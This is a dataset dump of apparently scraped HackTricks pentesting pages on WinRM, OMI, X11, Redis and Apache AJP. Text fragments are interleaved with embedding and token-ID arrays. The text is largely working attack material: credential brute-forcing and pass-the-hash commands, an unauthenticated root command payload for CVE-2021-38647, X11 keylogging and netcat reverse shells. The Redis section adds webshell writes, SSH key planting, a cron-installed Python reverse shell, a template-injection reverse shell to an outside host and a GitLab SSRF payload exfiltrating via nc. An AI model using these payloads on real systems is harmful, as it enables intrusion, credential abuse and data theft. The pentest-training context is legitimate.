) the session will run in a new process ( wsmprovhost ) inside the " victim " forcing winrm openif you really want to use ps remoting and winrm but the target isn't configured for it, you could " force " it on through a single command. i wouldn't recommend this but if you really wanted to use winrm or psremoting than by all means do it this way. for example, using psexec : ps c : \ tools \ sysinternalssuite >. \ psexec. exe \ \ computername - u domain \ username - p password - h - d powershell. exe " enable - psremoting - force " now we can enter a remote ps session on the victim. saving and restoring sessionsthis won't work if the the language is constrained in the remote computer. # if you need to use different creds $ password = convertto - securestring'stud41password @ 123'- asplaintext - force # # note the ". \ " in the suername to indicate it's a local user ( host domain ) $ creds2 = new - object system. management. automation. pscredential ( ". \ student41 ", $ password ) # you can save a session inside a variable $ sess1 = new - pssession - computername < computername > [ - sessionoption ( new - pssessionoption - proxyaccesstype noproxyserver ) ] # and restore it at any moment doingenter - pssession - session $ sess1inside this sessions you can load ps scripts using invoke - commandinvoke - command - filepath c : \ path \ to \ script. ps1 - session $ sess1errorsif you find the following error : enter - pssession : connecting to remote server 10. 10. 10. 175 failed with the following error message : the winrm client cannot process the request. if the authentication scheme is different from kerberos, or if the client computer is not joined to a domain, then https transport must be used or the destination machine must be added to the trustedhosts configuration setting. use winrm. cmd to configure trustedhosts. note that computers in the trustedhosts list might not be authenticated. you can get more information about that by running the following command | [
0.18986575305461884,
-0.05737859010696411,
-0.3538212478160858,
0.5000001788139343,
-0.31278225779533386,
0.018808092921972275,
-0.8392949104309082,
0.4181157350540161,
-0.24888518452644348,
0.04526658356189728,
-0.0004267536860425025,
0.03532954305410385,
0.2755020260810852,
-0.5194600224... | [
1007,
1996,
5219,
2097,
2448,
1999,
1037,
2047,
2832,
1006,
1059,
6491,
21572,
2615,
15006,
2102,
1007,
2503,
1996,
1000,
6778,
1000,
6932,
2663,
10867,
2330,
10128,
2017,
2428,
2215,
2000,
2224,
8827,
2128,
18938,
2075,
1998,
2663,
10867,
... | hack_tricks | 115.txt | 2 |
: winrm help config. for more information, see the about _ remote _ troubleshooting help topic. the try on the client ( info from here ) : winrm quickconfigwinrm set winrm / config / client'@ { trustedhosts = " computer1, computer2 " }'hackenproof is home to all crypto bug bounties. get rewarded without delays hackenproofwinrm connection in linuxbrute forcebe careful, brute - forcing winrm could block users. # brute forcecrackmapexec winrm < ip > - d < domain name > - u usernames. txt - p passwords. txt # just check a pair of credentials # username + password + cmd command executioncrackmapexec winrm < ip > - d < domain name > - u < username > - p < password > - x " whoami " # username + hash + ps command executioncrackmapexec winrm < ip > - d < domain name > - u < username > - h < hash > - x'$ psversiontable'# crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrmusing evil - winrmgem install evil - winrmread documentation on its github : url - u administrator - p'everybodywantstoworkatp. o. o.'- i < ip > / < domain > to use evil - winrm to connect to an ipv6 address create an entry inside / etc / hosts setting a domain name to the ipv6 address and connect to that domain. pass the hash with evil - winrmevil - winrm - u < username > - h < hash > - i < ip > using a ps - docker machinedocker run - it quickbreach / powershell - ntlm $ creds = get - credentialenter - pssession - computername 10. 10. 10. 149 - authentication negotiate - credential $ credsusing a ruby scriptcode extracted from here : url'winrm - fs'# author : alamot # to upload a file type : upload local _ path remote _ path # e. g. : ps > upload myfile. txt c : \ temp \ myfile. txtc | [
-0.07459983974695206,
-0.5114449262619019,
-0.25908076763153076,
0.022826310247182846,
-0.1636536717414856,
-0.14111453294754028,
0.029955923557281494,
0.09173811227083206,
0.3465065658092499,
0.5685340166091919,
0.20073391497135162,
-0.03316790238022804,
0.5052125453948975,
-0.36221012473... | [
1024,
2663,
10867,
2393,
9530,
8873,
2290,
1012,
2005,
2062,
2592,
1010,
2156,
1996,
2055,
1035,
6556,
1035,
13460,
23416,
2075,
2393,
8476,
1012,
1996,
3046,
2006,
1996,
7396,
1006,
18558,
2013,
2182,
1007,
1024,
2663,
10867,
4248,
8663,
... | hack_tricks | 115.txt | 3 |
##onn = winrm : : connection. new ( endpoint :'https : / / ip : port / wsman ', transport : : ssl, user :'username ', password :'password ', : no _ ssl _ peer _ verification = > true ) class string def tokenize self. split ( / \ s (? = (? : [ ^'" ] |'[ ^'] *'| " [ ^ " ] * " ) * $ ) / ). select { | s | not s. empty? }. map { | s | s. gsub ( / ( ^ + ) | ( + $ ) | ( ^ [ "'] + ) | ( [ "'] + $ ) /,'' ) } endendcommand = " " file _ manager = winrm : : fs : : filemanager. new ( conn ) conn. shell ( : powershell ) do | shell | until command = = " exit \ n " do output = shell. run ( " - join ( $ id,'ps ', $ ( whoami ),'@ ', $ env : computername,'', $ ( ( gi $ pwd ). name ),'>') " ) print ( output. output. chomp ) command = gets if command. start _ with? ('upload') then upload _ command = command. tokenize print ( " uploading " + upload _ command [ 1 ] + " to " + upload _ command [ 2 ] ) file _ manager. upload ( upload _ command [ 1 ], upload _ command [ 2 ] ) do | bytes _ copied, total _ bytes, local _ path, remote _ path | puts ( " # { bytes _ copied } bytes of # { total _ bytes } bytes copied " ) end command = " echo ` nok ` n " end output = shell. run ( command ) do | stdout, stderr | stdout. print ( stdout ) stderr. print ( stderr ) end end puts ( " exiting with code # { output. exitcode } " ) endshodanport : 5985 microsoft - httpapi [SEP] | [
-0.193491593003273,
0.07776528596878052,
0.06438076496124268,
0.028464628383517265,
-0.344875305891037,
-0.3881945312023163,
-0.19134964048862457,
0.24123479425907135,
0.060968365520238876,
0.9253395199775696,
0.635155975818634,
-0.09844192862510681,
0.28930458426475525,
-0.266922801733016... | [
2239,
2078,
1027,
2663,
10867,
1024,
1024,
4434,
1012,
2047,
1006,
2203,
8400,
1024,
1005,
16770,
1024,
1013,
1013,
12997,
1024,
3417,
1013,
1059,
11512,
1005,
1010,
3665,
1024,
1024,
7020,
2140,
1010,
5310,
1024,
1005,
5310,
18442,
1005,
... | hack_tricks | 115.txt | 4 |
[CLS] 5985, 5986 - pentesting omibasic informationomi is an open - source remote configuration management tool developed by microsoft. omi agents are commonly found installed on azure linux servers when the following services are in use : azure automationazure automatic updateazure operations management suiteazure log analyticsazure configuration managementazure diagnosticswhen these services are configured, the omiengine process will listen on all interfaces and being running as the root user. default port : 5985 ( http ), 5986 ( https ) cve - 2021 - 38647as of september 16, newly created linux servers in azure are still packaged with a vulnerable version of the omi agent. after deploying a linux server and enabling one the services listed above, the server will be in a vulnerable state. the omi server receives configuration management messages via the / wsman endpoint. typically, an authentication header is passed along with the message and the omi server will ensure the client is authorized communicate. in this case the vulnerability is that when there is no authentication header the server incorrectly accepts the message and executes the instruction under the root user. by posting an “ executeshellcommand ” soap payload to the server with no authentication header specified, it will execute the command as root. < s : envelope xmlns : s = " http : / / www. w3. org / 2003 / 05 / soap - envelope " xmlns : a = " http : / / schemas. xmlsoap. org / ws / 2004 / 08 / addressing "... < s : body > < p : executeshellcommand _ input xmlns : p = " http : / / schemas. dmtf. org / wbem / wscim / 1 / cim - schema / 2 / scx _ operatingsystem " > < p : command > id < / p : command > < p : timeout > 0 < / p : timeout > < / p : executeshellcommand _ input > < / s : body > < / s : envelope > find full exploit in url [SEP] | [
-0.176949605345726,
0.4178588092327118,
-0.2914733290672302,
0.6663500070571899,
-0.48595601320266724,
-0.5091728568077087,
-0.38944491744041443,
-0.014932249672710896,
0.6205779910087585,
0.8565349578857422,
0.013566534966230392,
0.23839271068572998,
0.04831691458821297,
-0.18150956928730... | [
101,
5354,
27531,
1010,
5354,
20842,
1011,
7279,
22199,
2075,
18168,
18410,
19570,
2592,
20936,
2003,
2019,
2330,
1011,
3120,
6556,
9563,
2968,
6994,
2764,
2011,
7513,
1012,
18168,
2072,
6074,
2024,
4141,
2179,
5361,
2006,
24296,
11603,
149... | hack_tricks | 116.txt | 0 |
[CLS] 6000 - pentesting x11hackenproof is home to all crypto bug bounties. get rewarded without delays hackenproofbasic informationthe x window system ( aka x ) is a windowing system for bitmap displays, which is common on unix - based operating systems. x provides the basic framework for a gui based environment. x also does not mandate the user interface – individual programs handle this. from : url port : 6000port state service6000 / tcp open x11enumerationcheck for anonymous connection : nmap - sv - - script x11 - access - p < port > < ip > msf > use auxiliary / scanner / x11 / open _ x11local enumerationthe file. xauthority in the users home folder is used by x11 for authorization. from here : mit - magic - cookie - 1 : generating 128bit of key ( “ cookie ” ), storing it in ~ /. xauthority ( or where xauthority envvar points to ). the client sends it to server plain! the server checks whether it has a copy of this “ cookie ” and if so, the connection is permitted. the key is generated by dmx. in order to use the cookie you should set the env var : export xauthority = / path / to /. xauthorityverfy connectionxdpyinfo - display < ip > : < display > xwininfo - root - tree - display < ip > : < display > # ex : xwininfo - root - tree - display 10. 5. 5. 12 : 0keylogginxspy to sniff the keyboard keystrokes. sample output : xspy 10. 9. xx. xxopened 10. 9. xx. xx : 0 for snoopngswabackspacecaps _ lock josephttabcbackspaceshift _ l workshift _ l 2123qsaminuskp _ down kp _ begin kp _ down kp _ left kp _ insert tabrightleftrightdeletebtabdownntabkp _ end kp _ right kp _ up kp _ down kp _ up kp _ up tabmtminusdbackspacewintabscreenshots capturingxwd - root - screen - silent - display < targetip : 0 > > screenshot. xwdconvert screenshot. xwd screenshot. p | [
-0.15360771119594574,
-0.39276474714279175,
0.17507421970367432,
0.48488929867744446,
-0.4125418961048126,
-0.29155945777893066,
-0.2721487879753113,
0.3340347707271576,
0.39423298835754395,
0.8065718412399292,
-0.2204444408416748,
-0.04525222256779671,
0.5431338548660278,
-0.0935990586876... | [
101,
25961,
1011,
7279,
22199,
2075,
1060,
14526,
3270,
19766,
18907,
2003,
2188,
2000,
2035,
19888,
2080,
11829,
8945,
16671,
3111,
1012,
2131,
14610,
2302,
14350,
20578,
2368,
18907,
22083,
2594,
2592,
10760,
1060,
3332,
2291,
1006,
9875,
... | hack_tricks | 117.txt | 0 |
##ngremote desktop viewway from : url < ip : 0 > way from : url we need to find the id of the window using xwininfoxwininfo - root - display 10. 9. xx. xx : 0xwininfo : window id : 0x45 ( the root window ) ( has no name ) absolute upper - left x : 0absolute upper - left y : 0relative upper - left x : 0relative upper - left y : 0width : 1024height : 768depth : 16visual : 0x21visual class : truecolorborder width : 0class : inputoutputcolormap : 0x20 ( installed ) bit gravity state : forgetgravitywindow gravity state : northwestgravitybacking store state : notusefulsave under state : nomap state : isviewableoverride redirect state : nocorners : + 0 + 0 - 0 + 0 - 0 - 0 + 0 - 0 - geometry 1024x768 + 0 + 0xwatchwinfor live viewing we need to use. / xwatchwin [ - v ] [ - u updatetime ] displayname { - w windowid | windowname } - w window id is the one found on xwininfo. / xwatchwin 10. 9. xx. xx : 0 - w 0x45get shellmsf > use exploit / unix / x11 / x11 _ keyboard _ execother way : reverse shell : xrdp also allows to take reverse shell via netcat. type in the following command :. / xrdp. py < ip : 0 > – no - dispit will prompt a new control pane where we can see the r - shell option, which is illustrated below : we will start the netcat listening mode in our local system on port 5555, which is illustrated below : then add the ip and port and then select r - shell, which is illustrated below : now as can be seen below we have complete system access : exploiting x11 unauthenticated access - infosec resourcesinfosec resourcesshodanport : 6000 x11hackenproof is home to all crypto bug bounties. get rewarded without delays hackenproofnetwork services pentesting - [SEP] | [
-0.1403273195028305,
-0.46032416820526123,
-0.2646697163581848,
0.1160610169172287,
-0.3540922999382019,
-0.3531857430934906,
-0.8028383851051331,
0.19522657990455627,
-0.01914537139236927,
1.320513129234314,
-0.16250741481781006,
0.46056753396987915,
0.4906015992164612,
-0.003392558544874... | [
3070,
28578,
12184,
15363,
3193,
4576,
2013,
1024,
24471,
2140,
1026,
12997,
1024,
1014,
1028,
2126,
2013,
1024,
24471,
2140,
2057,
2342,
2000,
2424,
1996,
8909,
1997,
1996,
3332,
2478,
1060,
10105,
2378,
14876,
2595,
10105,
2378,
14876,
10... | hack_tricks | 117.txt | 1 |
[CLS] 6379 - pentesting redishackenproof is home to all crypto bug bounties. get rewarded without delays hackenproofbasic informationredis is an open source ( bsd licensed ), in - memory data structure store, used as a database, cache and message broker ( from here ). by default and commonly redis uses a plain - text based protocol, but you have to keep in mind that it can also implement ssl / tls. learn how to run redis with ssl / tls here. default port : 6379port state service version6379 / tcp open redis redis key - value store 4. 0. 9automatic enumerationsome automated tools that can help to obtain info from a redis instance : nmap - - script redis - info - sv - p 6379 < ip > msf > use auxiliary / scanner / redis / redis _ servermanual enumerationbannerredis is a text based protocol, you can just send the command in a socket and the returned values will be readable. also remember that redis can run using ssl / tls ( but this is very weird ). in a regular redis instance you can just connect using nc or you could also use redis - cli : nc - vn 10. 10. 10. 10 6379redis - cli - h 10. 10. 10. 10 # sudo apt - get install redis - toolsthe first command you could try is info. it may return output with information of the redis instance or something like the following is returned : - noauth authentication required. in this last case, this means that you need valid credentials to access the redis instance. redis authenticationby default redis can be accessed without credentials. however, it can be configured to support only password, or username + password. it is possible to set a password in redis. conf file with the parameter requirepass or temporary until the service restarts connecting to it and running : config set requirepass p @ ss $ 12e45. also, a username can be configured in the parameter masteruser inside the redis. conf file. if only password is configured the username used is " default ". also, note that there is no way to find externally if redis was configured with only password or username + password. in cases like this one you will need | [
-0.40755128860473633,
-0.8751872181892395,
-0.7864778637886047,
-0.05725962296128273,
-0.05217065289616585,
0.3065226376056671,
-0.8590700030326843,
0.5509817600250244,
-0.10459055751562119,
0.5047117471694946,
0.06559325009584427,
0.12463626265525818,
0.11980658024549484,
-1.2602199316024... | [
101,
6191,
2581,
2683,
1011,
7279,
22199,
2075,
2417,
24032,
19766,
18907,
2003,
2188,
2000,
2035,
19888,
2080,
11829,
8945,
16671,
3111,
1012,
2131,
14610,
2302,
14350,
20578,
2368,
18907,
22083,
2594,
2592,
5596,
2483,
2003,
2019,
2330,
3... | hack_tricks | 118.txt | 0 |
to find valid credentials to interact with redis so you could try to brute - force it. in case you found valid credentials you need to authenticate the session after establishing the connection with the command : auth < username > < password > valid credentials will be responded with : + okauthenticated enumerationif the redis instance is accepting anonymous connections or you found some valid credentials, you can start enumerating the service with the following commands : info [... redis response with info... ] client list [... redis response with connected clients... ] config get * [... get config... ] other redis commands can be found here and here. note that the redis commands of an instance can be renamed or removed in the redis. conf file. for example this line will remove the command flushdb : rename - command flushdb " " more about configuring securely a redis service here : url can also monitor in real time the redis commands executed with the command monitor or get the top 25 slowest queries with slowlog get 25find more interesting information about more redis commands here : url databaseinside redis the databases are numbers starting from 0. you can find if anyone is used in the output of the command info inside the " keyspace " chunk : or you can just get all the keyspaces ( databases ) with : info keyspacein that example the database 0 and 1 are being used. database 0 contains 4 keys and database 1 contains 1. by default redis will use database 0. in order to dump for example database 1 you need to do : select 1 [... indicate the database... ] keys * [... get keys... ] get < key > [... get key... ] in case you get the follwing error - wrongtype operation against a key holding the wrong kind of value while running get < key > it's because the key may be something else than a string or an integer and requires a special operator to display it. to know the type of the key, use the type command, example below for list and hash keys. type < key > [... type of the key... ] lrange < key > 0 - 1 [... get list items... ] hget < key > < field > [... get | [
0.09889455884695053,
-0.43811336159706116,
-0.5901655554771423,
0.49569839239120483,
-0.5260159969329834,
-0.27815574407577515,
-0.015306048095226288,
0.39220359921455383,
-0.0058905212208628654,
1.2208590507507324,
0.13957595825195312,
0.25885048508644104,
0.3750656545162201,
-0.859671056... | [
2000,
2424,
9398,
22496,
2000,
11835,
2007,
2417,
2483,
2061,
2017,
2071,
3046,
2000,
26128,
1011,
2486,
2009,
1012,
1999,
2553,
2017,
2179,
9398,
22496,
2017,
2342,
2000,
14469,
3686,
1996,
5219,
2044,
7411,
1996,
4434,
2007,
1996,
3094,
... | hack_tricks | 118.txt | 1 |
hash item... ] dump the database with npm redis - dump or python redis - utilshackenproof is home to all crypto bug bounties. get rewarded without delays hackenproofredis rceinteractive shellredis - rogue - server can automatically get an interactive shell or a reverse shell in redis ( < = 5. 0. 5 ).. / redis - rogue - server. py - - rhost < target _ ip > - - lhost < accacker _ ip > php webshellinfo from here. you must know the path of the web site folder : root @ urahara : ~ # redis - cli - h 10. 85. 0. 5210. 85. 0. 52 : 6379 > config set dir / usr / share / nginx / htmlok10. 85. 0. 52 : 6379 > config set dbfilename redis. phpok10. 85. 0. 52 : 6379 > set test " <? php phpinfo ( ) ;? > " ok10. 85. 0. 52 : 6379 > saveokif the webshell access exception, you can empty the database after backup and try again, remember to restore the database. template webshelllike in the previous section you could also overwrite some html template file that is going to be interpreted by a template engine and obtain a shell. for example, following this writeup, you can see that the attacker injected a rev shell in an html interpreted by the nunjucks template engine : { { ( { } ). constructor. constructor ( " var net = global. process. mainmodule. require ('net'), cp = global. process. mainmodule. require ('child _ process'), sh = cp. spawn ('sh ', [ ] ) ; var client = new net. socket ( ) ; client. connect ( 1234,'my - server. com ', function ( ) { client. pipe ( sh. stdin ) ; sh. stdout. pipe ( client ) ; sh. stderr. pipe ( client ) ; } ) ; " ) ( ) } } note that several template engines cache the templates in memory, so even if you overwrite them, the new one won't be executed. in this cases, either the developer left | [
-0.35771527886390686,
-0.22127166390419006,
-0.20350483059883118,
0.3414076566696167,
-0.47274571657180786,
0.12849467992782593,
-1.041856050491333,
0.3967578113079071,
0.5359432697296143,
0.9326481819152832,
0.26231634616851807,
0.1382211595773697,
0.31708261370658875,
-0.7412270903587341... | [
23325,
8875,
1012,
1012,
1012,
1033,
15653,
1996,
7809,
2007,
27937,
2213,
2417,
2483,
1011,
15653,
2030,
18750,
2417,
2483,
1011,
21183,
12146,
3270,
19766,
18907,
2003,
2188,
2000,
2035,
19888,
2080,
11829,
8945,
16671,
3111,
1012,
2131,
... | hack_tricks | 118.txt | 2 |
the automatic reload active or you need to do a dos over the service ( and expect that it will be relaunched automatically ). sshplease be aware config get dir result can be changed after other manually exploit commands. suggest to run it first right after login into redis. in the output of config get dir you could find the home of the redis user ( usually / var / lib / redis or / home / redis /. ssh ), and knowing this you know where you can write the authenticated _ users file to access via ssh with the user redis. if you know the home of other valid user where you have writable permissions you can also abuse it : 1. generate a ssh public - private key pair on your pc : ssh - keygen - t rsa2. write the public key to a file : ( echo - e " \ n \ n " ; cat ~ / id _ rsa. pub ; echo - e " \ n \ n " ) > spaced _ key. txt3. import the file into redis : cat spaced _ key. txt | redis - cli - h 10. 85. 0. 52 - x set ssh _ key4. save the public key to the authorized _ keys file on redis server : root @ urahara : ~ # redis - cli - h 10. 85. 0. 5210. 85. 0. 52 : 6379 > config set dir / var / lib / redis /. sshok10. 85. 0. 52 : 6379 > config set dbfilename " authorized _ keys " ok10. 85. 0. 52 : 6379 > saveok5. finally, you can ssh to the redis server with private key : ssh - i id _ rsa [ email protected ] this technique is automated here : url echo - e " \ n \ n * / 1 * * * * / usr / bin / python - c'import socket, subprocess, os ; s = socket. socket ( socket. af _ inet, socket. sock _ stream ) ; s. connect ( ( \ " 10. 85. 0. 53 \ ", 8888 ) ) ; os. dup2 ( s. fileno ( ), 0 ) ; os. dup2 ( s. fileno ( ), | [
0.27044081687927246,
-0.39003878831863403,
-0.5462252497673035,
0.7245275974273682,
-0.0594756044447422,
-0.2592715620994568,
-0.792661726474762,
0.5885891914367676,
-0.03750799223780632,
0.8737101554870605,
-0.33771297335624695,
0.08993741124868393,
0.29027479887008667,
-0.908734440803527... | [
1996,
6882,
2128,
11066,
3161,
2030,
2017,
2342,
2000,
2079,
1037,
9998,
2058,
1996,
2326,
1006,
1998,
5987,
2008,
2009,
2097,
2022,
26391,
8073,
1007,
1012,
7020,
22269,
19738,
3366,
2022,
5204,
9530,
8873,
2290,
2131,
16101,
2765,
2064,
... | hack_tricks | 118.txt | 3 |
1 ) ; os. dup2 ( s. fileno ( ), 2 ) ; p = subprocess. call ( [ \ " / bin / sh \ ", \ " - i \ " ] ) ;'\ n \ n " | redis - cli - h 10. 85. 0. 52 - x set 1okroot @ urahara : ~ # redis - cli - h 10. 85. 0. 52 config set dir / var / spool / cron / crontabs / okroot @ urahara : ~ # redis - cli - h 10. 85. 0. 52 config set dbfilename rootokroot @ urahara : ~ # redis - cli - h 10. 85. 0. 52 saveokthe last exampleis for ubuntu, for centos, the above command should be : redis - cli - h 10. 85. 0. 52 config set dir / var / spool / cron / this method can also be used to earn bitcoin : yamload redis module1. following the instructions from url you can compile a redis module to execute arbitrary commands. 2. then you need some way to upload the compiled module3. load the uploaded module at runtime with module load / path / to / mymodule. so4. list loaded modules to check it was correctly loaded : module list5. execute commands : 127. 0. 0. 1 : 6379 > system. exec " id " " uid = 0 ( root ) gid = 0 ( root ) groups = 0 ( root ) \ n " 127. 0. 0. 1 : 6379 > system. exec " whoami " " root \ n " 127. 0. 0. 1 : 6379 > system. rev 127. 0. 0. 1 99996. unload the module whenever you want : module unload mymodulelua sandbox bypasshere you can see that redis uses the command eval to execute lua code sandboxed. in the linked post you can see how to abuse it using the dofile function, but apparently this isn't no longer possible. anyway, if you can bypass the lua sandbox you could execute arbitrary commands on the system. also, from the same post you can see some options | [
0.45055750012397766,
0.10550800710916519,
-0.5404477715492249,
0.30006086826324463,
-0.7175199389457703,
-0.11213059723377228,
-0.5313808917999268,
0.5701020956039429,
0.535979688167572,
1.0794005393981934,
0.3695509433746338,
0.6030017733573914,
0.7158595323562622,
-0.5212981700897217,
... | [
1015,
1007,
1025,
9808,
1012,
4241,
2361,
2475,
1006,
1055,
1012,
5371,
3630,
1006,
1007,
1010,
1016,
1007,
1025,
1052,
1027,
4942,
21572,
9623,
2015,
1012,
2655,
1006,
1031,
1032,
1000,
1013,
8026,
1013,
14021,
1032,
1000,
1010,
1032,
10... | hack_tricks | 118.txt | 4 |
to cause dos. some cves to escape from lua : urls : / / github. com / aodsec / cve - 2022 - 0543master - slave modulethe master redis all operations are automatically synchronized to the slave redis, which means that we can regard the vulnerability redis as a slave redis, connected to the master redis which our own controlled, then we can enter the command to our own redis. master redis : 10. 85. 0. 51 ( hacker's server ) slave redis : 10. 85. 0. 52 ( target vulnerability server ) a master - slave connection will be established from the slave redis and the master redis : redis - cli - h 10. 85. 0. 52 - p 6379slaveof 10. 85. 0. 51 6379then you can login to the master redis to control the slave redis : redis - cli - h 10. 85. 0. 51 - p 6379set mykey helloset mykey2 helloworldssrf talking to redisif you can send clear text request to redis, you can communicate with it as redis will read line by line the request and just respond with errors to the lines it doesn't understand : - err wrong number of arguments for'get'command - err unknown command'host :'- err unknown command'accept :'- err unknown command'accept - encoding :'- err unknown command'via :'- err unknown command'cache - control :'- err unknown command'connection :'therefore, if you find a ssrf vuln in a website and you can control some headers ( maybe with a crlf vuln ) or post parameters, you will be able to send arbitrary commands to redis. example : gitlab ssrf + crlf to shellin gitlab11. 4. 7 were discovered a ssrf vulnerability and a crlf. the ssrf vulnerability was in the import project from url functionality when creating a new project and allowed to access arbitrary ips in the form [ 0 : 0 : 0 : 0 : 0 : ffff : 127. 0. 0. 1 ] ( this will access 127. 0. 0. 1 ), and the crlf vuln was exploited just adding % 0d % 0a characters to the url. therefore, it was possible to abuse these vuln | [
-0.07295545190572739,
-0.33024904131889343,
-0.676267147064209,
0.2800091803073883,
-0.6253857612609863,
-0.2866045832633972,
-0.7221190929412842,
0.6270349621772766,
0.31104597449302673,
1.2381881475448608,
-0.5031350255012512,
0.6654797196388245,
0.39650118350982666,
-0.6146417856216431,... | [
2000,
3426,
9998,
1012,
2070,
26226,
2229,
2000,
4019,
2013,
11320,
2050,
1024,
24471,
4877,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
20118,
5104,
8586,
1013,
26226,
2063,
1011,
16798,
2475,
1011,
5709,
23777,
8706,
1011,
665... | hack_tricks | 118.txt | 5 |
##erabilities to talk to the redis instance that manages queues from gitlab and abuse those queues to obtain code execution. the redis queue abuse payload is : multi sadd resque : gitlab : queues system _ hook _ push lpush resque : gitlab : queue : system _ hook _ push " { \ " class \ " : \ " gitlabshellworker \ ", \ " args \ " : [ \ " class _ eval \ ", \ " open ( \'| whoami | nc 192. 241. 233. 143 80 \'). read \ " ], \ " retry \ " : 3, \ " queue \ " : \ " system _ hook _ push \ ", \ " jid \ " : \ " ad52abc5641173e217eb2e52 \ ", \ " created _ at \ " : 1513714403. 8122594, \ " enqueued _ at \ " : 1513714403. 8129568 } " execand the url encode request abusing ssrf and crlf to execute a whoami and send back the output via nc is : git : / / [ 0 : 0 : 0 : 0 : 0 : ffff : 127. 0. 0. 1 ] : 6379 / % 0d % 0a % 20multi % 0d % 0a % 20sadd % 20resque % 3agitlab % 3aqueues % 20system % 5fhook % 5fpush % 0d % 0a % 20lpush % 20resque % 3agitlab % 3aqueue % 3asystem % 5fhook % 5fpush % 20 % 22 % 7b % 5c % 22class % 5c % 22 % 3a % 5c % 22gitlabshellworker % 5c % 22 % 2c % 5c % 22args % 5c % 22 % 3a % 5b % 5c % 22class % 5feval % 5c % 22 % 2c % 5c % 22open % 28 % 5c % 27 % 7ccat % 20 % 2fflag % 20 % 7c % 20nc % 20127 % 2e0 % 2e0 % 2e1 % 202222 % 5c % 27 % 29 % 2eread % 5c % 22 % | [
-0.045979566872119904,
-0.17048485577106476,
-0.8231409192085266,
0.6598005294799805,
-0.4667196273803711,
-0.45153865218162537,
-0.4020063579082489,
0.21319454908370972,
0.299762099981308,
0.6454728841781616,
0.4129749834537506,
0.8146981000900269,
0.364617258310318,
-0.7890803217887878,
... | [
6906,
14680,
2000,
2831,
2000,
1996,
2417,
2483,
6013,
2008,
9020,
24240,
2015,
2013,
21025,
19646,
7875,
1998,
6905,
2216,
24240,
2015,
2000,
6855,
3642,
7781,
1012,
1996,
2417,
2483,
24240,
6905,
18093,
2003,
1024,
4800,
6517,
2094,
24501... | hack_tricks | 118.txt | 6 |
5d % 2c % 5c % 22retry % 5c % 22 % 3a3 % 2c % 5c % 22queue % 5c % 22 % 3a % 5c % 22system % 5fhook % 5fpush % 5c % 22 % 2c % 5c % 22jid % 5c % 22 % 3a % 5c % 22ad52abc5641173e217eb2e52 % 5c % 22 % 2c % 5c % 22created % 5fat % 5c % 22 % 3a1513714403 % 2e8122594 % 2c % 5c % 22enqueued % 5fat % 5c % 22 % 3a1513714403 % 2e8129568 % 7d % 22 % 0d % 0a % 20exec % 0d % 0a % 20exec % 0d % 0a / ssrf123321. gitfor some reason ( as for the author of url where this info was took from ) the exploitation worked with the git scheme and not with the url scheme. hackenproof is home to all crypto bug bounties. get rewarded without delays hackenproofnetwork services pentesting - [SEP] | [
0.07349946349859238,
0.20891764760017395,
-0.3170916736125946,
0.23585249483585358,
-0.9947006702423096,
-0.6040558815002441,
-0.23141443729400635,
0.32419726252555847,
-0.19921955466270447,
1.1183927059173584,
0.14635084569454193,
0.28284764289855957,
1.1137597560882568,
-0.70255559682846... | [
1019,
2094,
1003,
1016,
2278,
1003,
1019,
2278,
1003,
2570,
13465,
2854,
1003,
1019,
2278,
1003,
2570,
1003,
23842,
2509,
1003,
1016,
2278,
1003,
1019,
2278,
1003,
2570,
4226,
5657,
1003,
1019,
2278,
1003,
2570,
1003,
23842,
1003,
1019,
2... | hack_tricks | 118.txt | 7 |
[CLS] 8009 - pentesting apache jserv protocol ( ajp ) hackenproof is home to all crypto bug bounties. get rewarded without delays hackenproofbasic informationfrom : url is a wire protocol. it an optimized version of the http protocol to allow a standalone web server such as apache to talk to tomcat. historically, apache has been much faster than tomcat at serving static content. the idea is to let apache serve the static content when possible, but proxy the request to tomcat for tomcat related content. also interesting : the ajp13 protocol is packet - oriented. a binary format was presumably chosen over the more readable plain text for reasons of performance. the web server communicates with the servlet container over tcp connections. to cut down on the expensive process of socket creation, the web server will attempt to maintain persistent tcp connections to the servlet container, and to reuse a connection for multiple request / response cyclesdefault port : 8009port state service8009 / tcp open ajp13cve - 2020 - 1938'ghostcat'if the ajp port is exposed, tomcat might be susceptible to the ghostcat vulnerability. here is an exploit that works with this issue. ghostcat is a lfi vulnerability, but somewhat restricted : only files from a certain path can be pulled. still, this can include files like web - inf / web. xml which can leak important information like credentials for the tomcat interface, depending on the server setup. patched versions at or above 9. 0. 31, 8. 5. 51, and 7. 0. 100 have fixed this issue. enumerationautomaticnmap - sv - - script ajp - auth, ajp - headers, ajp - methods, ajp - request - n - p 8009 < ip > brute forceajp proxyapache ajp proxyit ’ s not often that you encounter port 8009 open and no other web port open. in which case it would be nice to use existing tools like metasploit to still pwn it right? as stated in one of the quotes you can ( ab ) use apache to proxy the requests to tomcat port 8009. in the references you will find a nice guide on how to do that ( read it first ), what follows is just an overview of the commands i used on my own machine. i omitted some of the original instruction | [
0.49176517128944397,
-0.19778026640415192,
-0.472073495388031,
0.7925713062286377,
-0.17678022384643555,
-0.20357969403266907,
-0.38276275992393494,
-0.4304448962211609,
1.1175624132156372,
1.1608407497406006,
0.1971597671508789,
-0.0173542071133852,
0.03390231356024742,
-0.486027777194976... | [
101,
5385,
2683,
1011,
7279,
22199,
2075,
15895,
1046,
8043,
2615,
8778,
1006,
19128,
2361,
1007,
20578,
2368,
18907,
2003,
2188,
2000,
2035,
19888,
2080,
11829,
8945,
16671,
3111,
1012,
2131,
14610,
2302,
14350,
20578,
2368,
18907,
22083,
... | hack_tricks | 119.txt | 0 |
since they didn ’ t seem to be necessary. sudo apt - get install libapache2 - mod - jksudo vim / etc / apache2 / apache2. conf # append the following line to the config include ajp. confsudo vim / etc / apache2 / ajp. conf # create the following file, change host to the target address proxyrequests off < proxy * > order deny, allow deny from all allow from localhost < / proxy > proxypass / ajp : / / host : 8009 / proxypassreverse / ajp : / / host : 8009 / sudo a2enmod proxy _ urlsudo a2enmod proxy _ ajpsudo systemctl restart apache2a nice side effect of using this setup is that you might thwart ids / ips systems in place since the ajp protocol is somewhat binary, but i haven ’ t verified this. now you can just point your regular metasploit tomcat exploit to 127. 0. 0. 1 : 80 and take over that system. here is the metasploit output also : msf exploit ( tomcat _ mgr _ deploy ) > show optionsmodule options ( exploit / multi / url / tomcat _ mgr _ deploy ) : name current setting required description - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - password tomcat no the password for the specified username path / manager yes the uri path of the manager app ( / deploy and / undeploy will be used ) proxies no 